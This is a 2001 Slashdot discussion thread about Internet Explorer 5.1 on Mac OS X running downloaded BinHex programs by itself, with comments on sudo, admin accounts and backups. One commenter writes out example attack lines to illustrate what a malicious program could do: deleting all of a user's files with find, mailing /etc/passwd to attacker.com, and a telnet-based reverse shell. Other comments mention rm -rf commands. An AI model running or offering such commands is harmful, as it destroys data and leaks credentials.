Huge security hole in Internet Explorer for MacOS

Brad Lucier writes "Macintouch is reporting (go down the page a bit) that Internet Explorer 5.1, which comes preinstalled on MacOS X 10.1, has a huge security hole---when it downloads arbitrary programs encoded in the Macintosh's standard BinHex (.hqx) format, it automatically executes them. " Well I guess thats one way to make Unix insecure. Can anyone actually confirm this since it looks kinda sketchy. I wonder what someone's rationale would be for that:"Oh this won't hurt anyone, and saving that extra 'OK' click will be great!".

Comments

Intrinsic Security in OS X

[Buran]

The fact that OS X is based on FreeBSD may very well keep this hole from becoming as damaging as it is on Windows. Unless you're logged in as root or an Admin user -- always a good idea to be a 'normal' user whenever possible -- I don't know how damaging a malicious program can be. It'd have to get around some pretty strong security.

To what extent do others out there think this fact might "save" IE from being the terrible security disaster under OS X that it is on Windows?

I've got it on my 10.1 system, but I never use it; Mozilla 0.9.4 is far nicer (to me, anyway.)

Re:Intrinsic Security in OS X

[Bastian]

Although I doubt it could bring a system to its knees, and I don't know how you could make a virus continue to propagate itself that way, since I doubt you could get at the webserver from a user account, any exploits using this would likely be limited to trojan status.
A single infection, however, could still be just as damaging from the standpoint of a user. Lost data is still lost data.

Re:Intrinsic Security in OS X

[Anonymous Coward]

Same as on Win2k - you can login as a non-admin user and do everything you need to and the 'bug' wont be so big.

Re:Intrinsic Security in OS X

[mr3038]

Unless you're logged in as root... I don't know how damaging a malicious program can be

This is correct. However, this practically causes every local exploit to be remote exploit which makes things pretty much easier for an attacker. In addition it really doesn't matter if malicious code destroys only your personal data or your personal data and system libraries. You're fscked anyway!

Re:Intrinsic Security in OS X

[Anonymous Coward]

While this may be true, it is completely unacceptable that Microsoft made execution of a downloaded encrypted binhex file default. The only possible explanation for this behavior is an attempt by Microsoft to generate negative press for the Mac by allowing this vector of unprotected program execution. Also, it has always been standard to offload the decoding of these files to Stuffit Expander or other such decompression programs. None of these other programs have ever had this so-called execution upon dowload as the default behavior. This is seriously irresponsible and Microsoft deserves a public grilling for it. I am glad there are so many other options on Mac OS X for surfing the web. Users, I think, should use them and avoid this flawed mess.

Re:Intrinsic Security in OS X

[Urchlay]

Uh, I dunno about you, but if I were to rm -rf /home/urchlay it would be pretty devastating to me.. sure, it wouldn't hurt my OS any, or affect any other users (if I had them), but there's a *lot* of stuff in my home dir... This is on Linux, but the same would apply on any OS with per-user home directories...

Re:Intrinsic Security in OS X

[kilgore_47]

The default user can sudo, for one thing.
So, in theory, a malicious program could wait until it can record the user's password and then use that to become root.
Or maybe I understand sudo wrong.

Re:Intrinsic Security in OS X

[dankow]

Using a regular user account is all well and good, but the vast majority of OS X users will be using an admin account, since the OS setup process creates an admin account for the main user. Most people won't think to create another account.

BTW, I tested this hole, and it is as bad as it sounds. Macslash.com has a nice little demo that you can try yourself if you're running 10.1.

--
I am the hub of jack's digital universe.

Re:Intrinsic Security in OS X

[TrumpetPower!]

rm -rf /home/urchlay

If mass destruction is your aim, then the following will do the job nicely:

find / -user $USER -exec rm -f {} \;

Or, you could:

mail badguy@attacker.com < /etc/passwd

Maybe it'd be a program to brute-force su, something often possible (brute-forcing ssh or telnet usually isn't.

With a bit more work, you could:

telnet attacker.com 666

And run something on port 666 on attacker.com that gives attacker.com shell access.

All this assumes the rest of the operating system's security is iron-clad. Local exploits are, in general, much easier to pull off than remote ones. Account compromise is not a nice thing, at all.

b&

Re:Intrinsic Security in OS X

[byran lei]

>You ./configure;make install as root, dont'cha? How does that make you
>any better than the os x users? How do you know there isn't a trojan
>in that Makefile..?

Nope. You can easily install the program pretty much anywhere you want to. I often ./configure;make install in my ~/home directory.

Re:Intrinsic Security in OS X

[hearingaid]

The fact that OS X is based on FreeBSD may very well keep this hole from becoming as damaging as it is on Windows.

OS X is not based on FreeBSD.

OS X has a Mach kernel. FreeBSD's kernel is based on the Mach kernel.

Apple has hired FreeBSD developers, yes. However, OS X is merely a part of the BSD family of operating systems, which includes plenty other proprietary Unices.

As for how damaging this could be... Suppose somebody wrote a little OS X program which sent /etc/master.passwd as a file attachment to an anonymous maildrop, and then proceeded to run crack on all resulting password files.

How irritating.

However, it's not really that big a hole. People have to download the binaries in the first place: if they don't, then there's no binary to execute. If they do, then they were probably going to run it anyway. The only place I can see where this might be a Big Problem would be if a JavaScript triggered the download.

Re:Intrinsic Security in OS X

[Dr. Sp0ng]

OS X has a Mach kernel. FreeBSD's kernel is based on the Mach kernel.

Wrong. Darwin is based on FreeBSD 3.2 (IIRC... I may have the version wrong), ported to Mach, with lots of optimizations to get rid of some of Mach's performance issues and some funky Apple-isms. OS X then runs on top of Darwin.

Re:Intrinsic Security in OS X

[Enahs]

Aargh!

The fact that OS X is based on FreeBSD may very well keep this hole from becoming as damaging as it is on Windows.

Wow. Amazing what's "Insightful" these days. Check yo' facts, Buran. FreeBSD != BSD. MacOS X != FreeBSD. They're both BSDs, though. Get it?

Re:Intrinsic Security in OS X

[TrumpetPower!]

I wasn't aware that Mac OS X uses netinfo...but I'm sure a ``wanabee cracker'' would, considering this is an OS X-specific attack.

> And run something on port 666 on attacker.com that gives attacker.com shell access.

Mmmm. You mix things there. telneting to port 666 on attacker.com won't help you running anything on local port 666. man inetd is your friend, here.

Ah...you misunderstand me. The exploit program on the attacked machine has full access to that machine as the user who downloaded it. The program starts a shell, connects to attacker.com, and redirects I/O so that incoming packets from attacker.com are passed to the shell's stdin, and stdout and sterr are sent to attacker.com. Voila! Remote shell, initiated locally.

A good firewall, including use of proxy servers, would protect you from this particular scenario (which is why that's how I have things set up on my own network), but little else will.

Yours,

b&

Re:Intrinsic Security in OS X

[Phroggy]

The fact that OS X is based on FreeBSD may very well keep this hole from becoming as damaging as it is on Windows. Unless you're logged in as root or an Admin user -- always a good idea to be a 'normal' user whenever possible -- I don't know how damaging a malicious program can be. It'd have to get around some pretty strong security.

Nope. On a single-user system, you'll probably be logged in as an Administrator, which gives you full write access to /Applications, /Library (including /Library/Printers, /Library/Fonts, /Library/Desktop Pictures, /Library/Internet Plug-Ins, /Library/WebServer, etc.), plus your entire home directory, including everything on the desktop, your Documents folder, all your preferences, etc. etc. If you're not logged in as an Administrator, you don't have write access to /Library or /Applications, but you still have full access to everything in your home.

The only additional thing root gives you is write access to /System and the hidden BSD directories like /usr, /var, /etc, /bin, /sbin and such. So, you can trash all your files and apps, but can't touch the OS itself, which you could really just reinstall if you wanted to anyway. That takes under half an hour. Recovering all your data? Hope you've been putting that CD-RW drive to good use.

Re:Intrinsic Security in OS X

[Buran]

To use sudo (superuser do), you have to have an administrative account. Regular users cannot use it. OS X apparently (I haven't taken a look at the actual file) automatically places "Admin" users in the sudoers file:

sudo allows a permitted user to execute a command as the superuser or another user, as specified in the sudoers file. The real and effective uid and gid are set to match those of the target user as specified in the passwd file (the group vector is also initialized when the target user is not root). By default, sudo requires that users authenticate themselves with a password (NOTE: this is the user's password, not the root password). Once a user has been authenticated, a timestamp is updated and the user may then use sudo without a password for a short period of time (five minutes by default).

(from the man page on sudo on a FreeBSD system on which I have a shell account.)

Re:Intrinsic Security in OS X

[einstein]

I've run ./configure where the last few lines are:
creating libtool
loading cache ./config.cache
creating ./config.status
creating Makefile
creating src/Makefile
checking for r00taxx in -lr00t... no
no r00t? Darn!

yeah, needless to say, that makefile and source got a closer looking at...

if you're curious, this was avi-xmms, a plugin for xmms that uses its playlist for avi files played by aviplay...

if I actually ever get it compiled :)
---

Re:Intrinsic Security in OS X

[freakonaleash881]

Same as on Win2k - you can login as a non-admin user and do everything you need to and the 'bug' wont be so big.

True, but since win2k doesn't have the equivalent of sudo or su, it can be a serious pain in the ass, especially for some luser who can't figure out why they can't do something unless they log out and log back in as admin, not a quick operation.

I would say that windows security (I know, an oxymoron) has improved since the bad old days of DOS, but it leaves much to be desired.

Re:Intrinsic Security in OS X

[Tony-A]

Part of the Microsoft Internet Infection Strategy?

Re:Intrinsic Security in OS X

[dvdeug]

> People have to download the binaries in the first place: if they don't, then there's no binary to execute. If they do, then they were probably going to run it anyway.

The problem is, there's no way to tell the difference between a data file and an executable that's been compressed. Say, you find a font with the letters in the shape of Natalie Portman in Mac format, and download it. If someone decided to put a trojan in instead of a font, then you're screwed.

Re:Intrinsic Security in OS X

[styrotech]

True, but since win2k doesn't have the equivalent of sudo or su, it can be a serious pain in the ass, especially for some luser who can't figure out why they can't do something unless they log out and log back in as admin, not a quick operation.

Not quite, W2K introduced the "Run as..." feature, and the NT Resource Kits have a su in them.
Don't get me wrong, they're still a bit of a PITA to use and not as transparent as sudo (but sudo is a bit of a hack really). They are there though.

I hate MS as much as the next guy, but will correct any incorrect MS bashing (don't worry, there's still plenty of other things to bash).

Re:Intrinsic Security in OS X

[ahknight]

Odd; I'm using 10.1 and it doesn't do squat. Oh well, I should be happy, then.

Re:Intrinsic Security in OS X

[ceeam]

The fact that OS X is based on FreeBSD may very well keep this hole from becoming as damaging as it is on Windows. Unless you're logged in as root or an Admin user -- always a good idea to be a 'normal' user whenever possible

Sure, it this case all you can damage is your files - you know you don't need them anyway...

Re:Intrinsic Security in OS X

[MrFudd]

The sudo man in Linux (Redhat 7.1) is the same. It's unclear from this description that the user's password refers to the target user. So, if a user wants to su root, they must supply the root password, not their normal password.

Re:Intrinsic Security in OS X

[mancuskc]

Wouldn't the port have to over 1024? (for a non root user)

Mac X is a unix port after all.....

Re:Intrinsic Security in OS X

[sir99]

No, it's the password of the user who is executing sudo. I know, after trying to figure out why it wasn't working for me; I was using the root password instead of my own!

Re:Intrinsic Security in OS X

[csmiller]

It is obvious that sudo should take your password, not root's. If you know root's you can use su -l and do anything, totaly by-passing the point of sudo. Like passwd, it needs to confirm that you are the logged on user, not someone else who has snuck in whilst you are getting some caffine.

Sigh.

[DarkZero]

And of course, the media will portray this as "a problem with computers in general" (often used), "a fundamental problem in the structure of the internet" (Code Red), etc. And Microsoft will portray it as "Just one of those unavoidable things that happens when you used a Unix-based operating system".

Fuckin' morons.

Re:Sigh.

[!recycle]

Yeah and now my mom can freak out when her lame job sends out a warning (even though they use windows NT).

i can hear it now "Oh my God, There is a terrible bug in all comuters, you have to shut off and go hide in a bunker. The world is coming to an end!"

Re:Sigh.

[GnulixRulz]

CNN actually had the balls to refer to nimda
as a virus that affects Microsoft boxes. But you're
right, that's hardly ever said. Wouldn't bode well
for future advertisements from Micro$oft. :)

Re:Sigh.

[Stephen Samuel]

reminds me of a sign I put together many years ago... Poster format on 2 11x17 sheets of form-feed line printer paper...
SIGNOFF! The Universe is going down.

Re:IE Flaw

[Daniel Dvorkin]

The Mac has always played nice on the Web. What are you talking about?

Preferences

[Anonymous Coward]

You can turn off the automatic decoding of bin.hex files in the prefences panel under "downloading options". This allows people to have some control.

Re:Preferences

[Master Bait]

I guess that is prevention, but it is still a lame to not be able to decode your files automatically.

Over the years, Mac owners have enjoyed the ability to automaticall decode hqx and sit files without having them execute!

I say dump IE completely and use the alternates of which there are plenty.

Re:Preferences

[aralin]

And as always its turned ON by default! This is what makes Microsoft products so terribly insecure. The default settings they are using with all security turned off.

Re:Preferences

[Telek]

correct me if I'm wrong, but isn't .hqx the same thing as .zip in PCs?

doesn't that mean that the only thing that it will do is run your decompressor automatically?

which is not a big deal at all?

Re:Preferences

[thrig]

You said it. And since this is a unix system here, you can serve justice to Microsoft, in a small way:

rm -rf /Applications/Internet\ Explorer*

Try it on the next OS X machine you admin. Very therapeutic, IMHO.

Re:Preferences

[jrockway]

hqx squishes files (converts data fork and resource fork to one file, which is encoded in normal characters [ABCDEF...]). What IE does is decode this and execute the result (since it's often a compressed file).

Re:Preferences

[Andrewkov]

Wow, it's nice that Mac users can now enjoy the ease of use and power of Microsoft programs. I wonder if they'll want to switch to a Wintel machine after this one bites them in the ass!

Re:Preferences

[RevAaron]

...then install iCab.

Re:Preferences

[deusx]

...or OmniWeb (beautiful plumage!)

...or Mozilla (hey, it runs!)

:)

Re:Preferences

[RevAaron]

I wish OmniWeb wasn't so slow. It used to be pretty nice under OpenStep and Rhapsody/DR2. Kind of slow on my NeXT cube, but eh. But slow on my iBook is more disapointing.

Re:Preferences

[krugdm]

Actually, I turned these off, and files are still decoded automagically by Expander, but no launching afterwards.

Re:Preferences

[MaxVlast]

OW 3.0 is slow as crap on my turbo cube, but 4.0 is quite peppy on my PB G3 (500MHz). Get 10.1 -- it makes things move like a snap.

Re:Preferences

[BlowCat]

The problem is not with automatic decoding of files. It's OK to have automatic decoding by default. The problem is with a bug that causes running the program after decoding it.

It is not a bug in the default settings. It's a bug that can be worked around by changing the settings.

Re:Preferences

[BlowCat]

Please distinguish between enabling features by default and enabling services by default.

Expecting a service to have holes (especially in the default install) is reasonable. But if a feature is believed likely to be broken, it shouldn't be in the release at all.

Re:Preferences

[thrig]

Rumors have it the OmniGroup is working on a 4.1 version to go along with 10.1 which should be faster.

And as MaxVlast says, 10.1 is spiffy.

Re:Preferences

[MonkeyBoy]

No. .sit is the same thing as .zip, a compression method.

.hqx is the same thing as .uu, and encoding method to prevent corruption due to storage on/passing through other systems (.e.g 7-bit Un*x boxes)...

And if you read the link you'll notice that:

1) IE decodes HQX attachments without the use of an external program
2) After downloading & decoding the attachment (decodes on-the-fly actually), it launches the attachment.

While this behavior can be turned off (with little consequence since Stuffit Expander can decode HQX-encoded files), the default behavior is to perform steps 1 & 2 above.

This is a change from the older IEs, which also decoded automatically but only launched a program if it was a StuffIt archive or some other type of file - the attachment itself, if it was an application, wouldn't be launched (except by the "helper" application, which is like a QuickTime movie clip being read by QuickTime Player).

All of this was under your control through Preferences of course. And in the new one... they're a shadow of it's former self...

Re:Preferences

[stux]

BinHex (.hqx) does 4 main things

1) stores a header which contains the macos finder file information, modification dates, icon settings, filetype, creator code, etc etc,
2) appends the data fork to the header
3) appends the resource fork to the header+data
4) converts the lot to a 7 bit ascii encoding, like UU encoding.

The real difference is 1,2 & 3

There is another encoding, MacBinary (.bin) which is similar to binhex, but uses an 8 bit encoding, so is 1/8th more efficient.. ie it just does steps 1,2 & 3, without the 4th (uuencode style) step.

.bin is preferred, .hqx is required for email and other brain dead transport formats.

Re:Preferences

[RevAaron]

I've got a 10.1 iso sitting around, but am wary to install it, because it breaks Xfree. Not read yet whether or not it's easily fixed, just what the ol' Mac boards are telling me.

Well, yeah.....

[kerincosford]

...this always struck me as a little odd.

I've recently started using Mac OSX for dev work, and so I've only just really got accustomed to the OS.

This isn't a OS10.1-specific thing. Straight OS10 does exactly the same thing.

It is dumb, but you can turn it off in the preferences panel. My guess would be that most users would turn it off when they go into the Prefs to change the default download location (as MacIE5 doesnt ask you for a download folder) to something more sensible.

Ppfffff.

Personally, I don't think this is an *enormous* worry for the average user. Imagine if PC IE6 did this. All hell would break loose. But, theres just not that many nasties lurking for the Mac OSX user, really. And besides, the more savvy users will shut this feature off.

It is mighty dumb though. And not even that userfriendly. When StuffIt starts up to expand your files, it steals focus from what you're doing and makes your system chug like hell on OS10.1.

...As I read this article using said browser

[kid_koexist]

Hmm, was that chill from reading the article using IE 5 on OSX 10.1, or from that strong gulp of coffee that i just drank?

Its been standard in Mac OS for Stuffit Expander to automatically extract archives once downloaded. Isn't this issue related more to Stuffit Expander than IE?

Re:...As I read this article using said browser

[Darby]

Its been standard in Mac OS for Stuffit Expander to automatically extract archives once downloaded. Isn't this issue related more to Stuffit Expander than IE?

Absolutely not as a quick perusal of the article would have shown you.
IE does the decoding and execution by itself, completely bypassing Stuffit.
Basically they built an unstuffer into IE and then hideously fucked up by setting it to execute.
Stuffit only automatically unstuffs the file. They had the sense not to have files execute without allowing you to scan them first as any sane company would have done.

Re:...As I read this article using said browser

[usfGPM]

I believe that Stuffit expander doesn't "execute" the hqx files it downloads, as much as it "processes" them.

Example: When you download a copy of a program through IE and Stuffit Expander automatically runs after the download completes, the program you downloaded doesn't automatically run after Stuffit quits. You have to double click or open the uncompressed program for it to execute. Therein lies the problem with this version of IE--it executes programs after they are downloaded. See the difference?

Re:...As I read this article using said browser

[hearingaid]

IE5 on OS9 (what I'm using :) automagically extracts .hqx and .bin files.

This is a cool feature. It avoids the annoying StuffIt! wait when the expander process is spawned.

Of course, I have Virex enabled, so I get that wait imposed on me.

Incidentally, Fetch (an FTP client) does too. (It also automagically extracts .gz and .tar files. This is really irritating when I'm just transferring my gzips to the iMac for burning. but oh well. :)

Re:...As I read this article using said browser

[kid_koexist]

heh! i can feel the love in the air tonight. Thanks for clearing it up for me. Its nice to know /. readers have got my back. lol

somewhat unfair to gloat

[shibut]

It is unfair to gloat by saying that every time anything comes up on your screen you should have to say OK. It is a judgement call (imagine if you had to OK each image or flash component separately...). One of the most important parts of designing a product (whether sw, hw, or a chair) is what the features it has and what is the default (e.g., the default for a recliner is the upright position and you have to actively do something to make it recline, imagine if it started out reclining, it would be kind of awkward to get into it).

Having said that, the use of the OK button should be related to the amount of damage a malicious item can cause. In the case of binhex it seems like a no-brainer to ask first...

Re:somewhat unfair to gloat

[gburgyan]

The problem with the "OK" button is that people quickly get conditioned to press it whenever it comes up since that's what they meant most of the time. It seems that for newer versions of Outlook MS decided to do the "OK" dialog with a twist -- it makes you wait 5 seconds before it lets you press it and do potentially damaging things. Perhaps we should adopt something similar in the stuff we do?

Re:somewhat unfair to gloat

[jesser]

The problem with the "OK" button is that people quickly get conditioned to press it whenever it comes up since that's what they meant most of the time.

That's why it's a good idea to make the security warning not appear when the user tries to open a JPEG image attachment (ahem OE 6 for Win98). Actually, the worst case with OE 6 is that a multipart/signed message appears as an empty message with a text attachment and a ".dat" attachment, each of which triggers the warning dialog.

OE 6 did get one thing right: they made the security warning dialog visually distinct from other dialogs. That makes it likely that users will at least read it once.

Oh man!

[DrInequality]

I wonder what their rationale was.

Near-Useless Security

[Giant Hairy Spider]

Most users don't care so much about the system files, which are just a matter of rerunning the install process. Their personal data is far more valuable to them.

Maybe this will save a little data on systems with multiple users, but we're talking about personal computers here. By definition they are primarily used by one person.

The protection offered by an administrator account is minimal.

Re:Near-Useless Security

[Anonymous Coward]

Of course if you set up the system to automatically back up all files in certain directories every midnight you make the protection much more signifigant.

Re:Near-Useless Security

[manly]

I'm surprised the parent was modded up as insightful:

Most users don't care so much about the system files, which are just a matter of rerunning the install process. Their personal data is far more valuable to them.

Maybe this will save a little data on systems with multiple users, but we're talking about personal computers here. By definition they are primarily used by one person.

The protection offered by an administrator account is minimal.

Yes, data is of primary value to users. However, it costs time and money to fix a hosed system. Especially for the average user, "rerunning the install process" isn't part of a viable security plan.

As far as protection by using the Admin account, this is a basic tenet of security: assign only the necessary privileges for software to function. Ever wonder why DOS/Win95/Win98/Me are so succeptible to havoc caused by viruses (beyond popularity and braindead M$ application features)? It's because you're always running as de-facto superuser account.

The only reason you claim the Admin account provides "minimal" protection is because you believe the time and effort to restore a system is trivial. Even if that were the case, always running as the Admin account makes it a lot easier for a worm/virus to completely trash your system, taking down your valuable data files along with everything else.

I think fortunately for Microsoft and its millions of users worldwide, most worms/macro viruses these days are pests that put a drag on the Internet infrastructure, rather than seeking out your data files and wiping them away.

Re:Near-Useless Security

[jiheison]

The problem is, the average "user" is not an admin. How is such a person going to have the knowledge to set themselves up with a user account to protect them from themselves?

In an OS that is designed to be operated by the average user, isn't the de-facto superuser account always going to be an issue?

Re:Near-Useless Security

[manly]

The problem is, the average "user" is not an admin. How is such a person going to have the knowledge to set themselves up with a user account to protect them from themselves?

You've raised an excellent point, that I'll paraphrase somewhat differently. Normal home PC users don't even begin to understand security well enough to craft any sort of security plan (or measures such as always running a virus scanner on downloads/attachments). There's a trade-off between security and convenience; Microsoft tends to err on the side of convenience (as in the topic of this article).

I think the short answer to your question is education. Windows XP is a secure multi-user OS, and it's now shipping on consumer PCs. Many users now will have no choice but to gain a better understanding of at least logging in, and what activities (app installation) aren't possible with a "restricted" user account.

Having said that, I found the Microsoft scheme to ease multiple user computing for consumers is incredibly convoluted. During installation, a superuser account synonymous with root on Unix named Administrator is created.

However, after booting Lose-XP for the first time and logging in as Administrator, you'll want to add user accounts. Lose-XP forces you to create a "Computer Administrator" account before you can create regular user accounts. After doing so, the Administrator account is hidden from XP's new simplified login screen. The point I'm trying to make is that a relatively basic concept is made more complex, even though the supposedly goal was to make the login screen simpler for Joe Schmoe.

In an OS that is designed to be operated by the average user, isn't the de-facto superuser account always going to be an issue?

It's an issue, but as alluded to before, it's being handled very differently now. In DOS and legacy Windows, there was only the de-facto superuser-level user. Now that XP is slated to become standard on all consumer PCs, this is obviously no longer the case.

Besides my earlier complaint that the handling of users is more complex than it used to be, there is I believe another wrinkle to it (that I read somewhere else). If you add accounts during installation of XP, they receive Administrator credentials instead of normal user privileges. Besides (pre-)installation, login is the first feature users will meet. I don't understand why accounts seem so convoluted in XP.

Finally, Mac OS X takes a different tack. From what I understand, all created accounts are user level accounts in the Unix sense. To access the admin-level account, you have to explicitly enable root. I don't know enough about OS X to comment, but on the face of things, this seems like a simple security policy that many users can actually understand if explained to them.

In short, unless users are going to treat their PCs as black-box Internet appliances (admin'd by a friend or relative), many of them will have to understand and admin their Windows boxes more than they've been accustomed to.

Re:Near-Useless Security

[Giant Hairy Spider]

As far as protection by using the Admin account, this is a basic tenet of security: assign only the necessary privileges for software to function.

Funny thing, the way this works out on a personal computer is that pretty much every program the user runs needs the ability to access the user's data. Otherwise the user is continually tripping over the restrictions and being forced to enter passwords.

The only reason you claim the Admin account provides "minimal" protection is because you believe the time and effort to restore a system is trivial.

Relative to the months of creative work and irreplacable personal data that can be lost, getting the local geek to spend a few hours reinstalling software is indeed trivial.

Even if that were the case, always running as the Admin account makes it a lot easier for a worm/virus to completely trash your system, taking down your valuable data files along with everything else.

The only thing it makes it easier to trash are the system files. The user data is totally at the mercy of any trojan they run.

Don't get me wrong, account restrictions could be used to provide better security on a personal computer. However, with rare exceptions, they aren't. The operating environment isn't designed for efficient permissions management and the users aren't sophisticated enough to understand the value anyway.

Multiuser OSs are just that, and not optimally designed for personal computers. The admin account is there to protect the system from the users, not to protect the users from foreign code. There are definitely improvements that could be made with a dedicated networked-PC OS designed with an eye to protecting the user's data from less-trusted network programs such as the web browser.

To sum it up, it isn't hard to imagine system features that would protect the user's data from internet code, and while a priviledged admin account could be a part of implementing those features, it doesn't provide them.

Re:Near-Useless Security

[Tony-A]

>>I'm surprised the parent was modded up as insightful:
Astroturfers. Trying to salvage as much face as possible.

>>Most users don't care so much about the system files, which are just a matter of rerunning the install process. Their personal data is far more valuable to them.
Neglecting to mention that the install process destroys all personal data.

>>By definition they are primarily used by one person.
One person. One login. One account. Sounds pretty dumb and limited to me.

>>The protection offered by an administrator account is minimal.
Right. The protection is from a bunch of "user" accounts, which have severly curtailed ability to do damage to each other.

>>Maybe this will save a little data on systems with multiple users ...
How generous! Somehow assumes that all the other users have "little data". If many users have "little data" then one user has even less.

Re:Near-Useless Security

[JohnTheFisherman]

Nobody made an assumption about reinstall being trivial, easy, or otherwise - it's doable, and it takes time. Losing your user data, if it's not properly backed up, like most people's data, it's just GONE. There is no reinstall even possible. For a large chunk of money you could potentially get some of your data back from one of those recovery services, but given the choice, most home users would rather reinstall their OS than hand over their hardware to some person they don't know who gets to comb over every last detail of personal information they have stored. That's if they're lucky and the data's still there, not to mention the cost.

Re:Near-Useless Security

[ToLu the Happy Furby]

Relative to the months of creative work and irreplacable personal data that can be lost, getting the local geek to spend a few hours reinstalling software is indeed trivial.

Absolutely correct.

However, one simple modification could bring the user's personal data under the protection of the admin account while still leaving it accessible to the user account: have a program running with root privileges which automatically backs up a copy of all the user's documents to a file only root has rights to. Then if the docs get hosed eg. by a virus running as user, one simply needs to login as root to get at a backed-up copy.

Of course the idea of backing up to another spot on one's own hard drive seems a little strange, but as most *really* important data files tend to be relatively small (unless the user is doing eg. video editing for a living), it seems like a very sensible solution, especially for OS' like Win2k Professional and OSX--which have strong multi-user security, but are generally run as single-user workstations.

Thoughts?

Re:Near-Useless Security

[weave]

Relative to the months of creative work and irreplacable personal data that can be lost, getting the local geek to spend a few hours reinstalling software is indeed trivial.

As someone who manages 25 local geeks, I take great offense to this statement, but it's pretty damn typical of user attitudes so it doesn't shock me.

The local geeks you talk about spend far too much time fixing your screwups and when we try to protect you from yourself by putting strict file perms on your desktop, you go screaming bloody murder because you can't install webshots or some other stupid program-of-the-week your friends told you about.

So instead of us doing something useful like planning for deploying new technologies, coding useful reports for the mountain of data you need to work with in the company's oracle database, ensuring the company doesn't get sued for license non-compliance, keeping server patches up-to-date, keeping up with security lists, etc, etc, we are running around fixing your screwups because you have no respect for the time or talents of your local geek.

Thanks for illustrating this common and typical attitude so well...

Re:Near-Useless Security

[MonkeyBoy]

Same as every automatic backup method that doesn't allow for regression - if you don't realize you're hosed before the next automatic backup occurs, the needed data can get overwritten with "newer" (e.g. infected, corrupted) versions of the files.

Not every worm is out to delete files, many of them will modify existing files to re-infect the system after you clean out the obvious.

Re:Near-Useless Security

[TheMidget]

backs up a copy of all the user's documents to a file only root has rights to. Then if the docs get hosed eg. by a virus running as user, one simply needs to login as root to get at a backed-up copy.

And what if the user doesn't notice it right away that one of his docs has become corrupted? The next time the backups process runs, it will "save" a corrupted version. End result: if the virus is subtle enough (which it will...), then the user has gained absolutely nothing. Unless of course the backup procedure is a full blown version control system, but this may be somewhat space inefficient when dealing with binary files such as Word documents...

Re:Near-Useless Security

[MrFudd]

Funny thing, the way this works out on a personal computer is that pretty much every program the user runs needs the ability to access the user's data. Otherwise the user is continually tripping over the restrictions and being forced to enter passwords.

Uh, I'm not sure what you mean here by user's data, but under Linux I have no problem running most all programs unprivileged. User data is stored in hidden directories in the home directory. Files I can't access unprivileged include config files and programs in /sbin that could radically alter the system. In short, the system is both secure and usable.

As for personal stuff, I keep things I really want to keep in a separate partition. That way, when I do re-install my OS, for whatever reason, nothing valuable is lost.

Multiuser OSs are just that, and not optimally designed for personal computers.

When I was like a total newbie at Linux, I might have agreed. But not anymore. It's trivial for example to edit fstab to allow users to mount local drives. In our home, we share a computer and an internet connection. Having a multiuser system ensures that each of us has a desktop environment optimized for our computing needs. Home networks are becoming increasingly common, and multiuser systems are ideally suited to meeting the requirements of such small networks.

___

Re:Near-Useless Security

[CaptDeuce]

Finally, Mac OS X takes a different tack. From what I understand, all created accounts are user level accounts in the Unix sense. To access the admin-level account, you have to explicitly enable root.

Yes, root must explicitly be enabled. There's an added layer of security in that when various admin type tasks need to be performed -- typically installations -- a dialog pops up asking for an admin level passsword. Other settings can be locked with admin level access. Some installations require the user to logout and login again as root though one may argue it's better to simply require root password a la sudo.

For what it's worth, I avoid using Microsoft products on my Mac whenever possible -- even on my Win2000 at work. While the rest of the office -- including our file server! -- got infected by the Nimda virus I didn't notice a thing since I get my email on my Mac. ;-)

Re:Near-Useless Security

[sir99]

There are definitely improvements that could be made with a dedicated networked-PC OS designed with an eye to protecting the user's data from less-trusted network programs such as the web browser.

That's an interesting idea. For *NIX systems, maybe there could be another account that the browsers etc. could run as, so that they could create files in your home directory, but not delete or modify them. You might have to have an extra account for each user, I dunno. Something like that, or some kind of ACLs could make an improvement in user-level protection.

Re:Near-Useless Security

[jekk]

I do this. I assume it works well... I'm not certain because I'm careful about viruses and worms and haven't lost (the original copy of) my data yet.

Re:Near-Useless Security

[dasunt]

So, who wants to bet when we'll see the first virus that finds a security hole to gain Administrator's rights, uses that hole to install itself, then patches that hole, leaving the user with only a normal user account, effectively locking them out of their own computer?

OTOH, since windows has to be registered on a reinstall, this should be a fun time for Microsoft. ;)

Re:Near-Useless Security

[slashdot2.2sucks]

Multiuser OSs are just that, and not optimally designed for personal computers.

Obviously you know better than we do because, you also know better than Apple , "lord of the desktop."

However I think that Apple and UNIX knows much better than you. Think about this, you have a family of 4 all sharing a single OSX/Linux computer. Your dumb ass runs a virus and destroys all your files and runs an IRC bot whenever you log in. However, the rest of your family and the system are fine and did not have to suffer from your stupidity.

In other words Multiuser means multiple users. Go back to DOS you freak.

Re:Near-Useless Security

[greed]

Actually, you don't need to activate the root account to do root things. Apple ships a pre-configured "sudo" that will let you do everything you want without ever needing to "login" as root. (Since they allow starting shells, it's as good as a real root account, with the benefits of sudo.)
As other people point out elsewhere, any SUID program can be abused once you've got a program running.

Re:Near-Useless Security

[yakovlev]

Not quite. MacOS X still has the (user-level) concept of administrator and "user" accounts.

Administrator accounts can use sudo to do pretty much whatever they want.

User accounts cannot use sudo, so they're pretty limited as to what they can do.

However, most people I know only have/use an administrator account, so this limits their protection to that provided by sudo (which is probably reasonable for a personal computer, depending on what the timeouts are set to.)

As for enabling root, after poking around at the security configuration of a friend's box I decided that this is a stupid thing to do from a security perspective, and should only be done if you have a REALLY good reason. (A really good reason would be a unix program that requires that the root account be able to log in, and these are few and far between these days.)

Re:Near-Useless Security

[Tassach]

"any SUID program can be abused once you've got a program running"

Which is why you should avoid setuid root like the plague. Setuid to another, unprivilidged account is a lot safer - if that account is compromised, the rest of the system remains safe.

Re:Near-Useless Security

[yakovlev]

Another fix (not available in a normal unix configuration) is to not allow normal users to have exececutable files. Most users don't need to run anything from their own filespace, they only need to run programs owned by root or some other administrative user.

This requires "developer" accounts that are able to run their own programs, but the average Joe/Jane doesn't need to do this, and so developer accounts can be isolated and used only for development in situations where they're really needed.

A weakness in this solution is that it doesn't prevent the user from opening a file that causes a trusted program to do rm -rf $HOME/*. However, there's very little that can be done to prevent such attacks without having the user periodically back-up their data (recovery, not prevention) or having them edit every file in it's own sandbox requiring explicit user intervention to change (or possibly even read) any other file. (I.E. more hassle than the ordinary user is willing to put up with.)

There are variations on the sandbox idea that can be implemented with capabilities, but these are going to be significantly more complex than the solutions available in current operating systems, and most likely difficult for the average user to secure adequately.

Re:Near-Useless Security

[OsamaBinLogin]

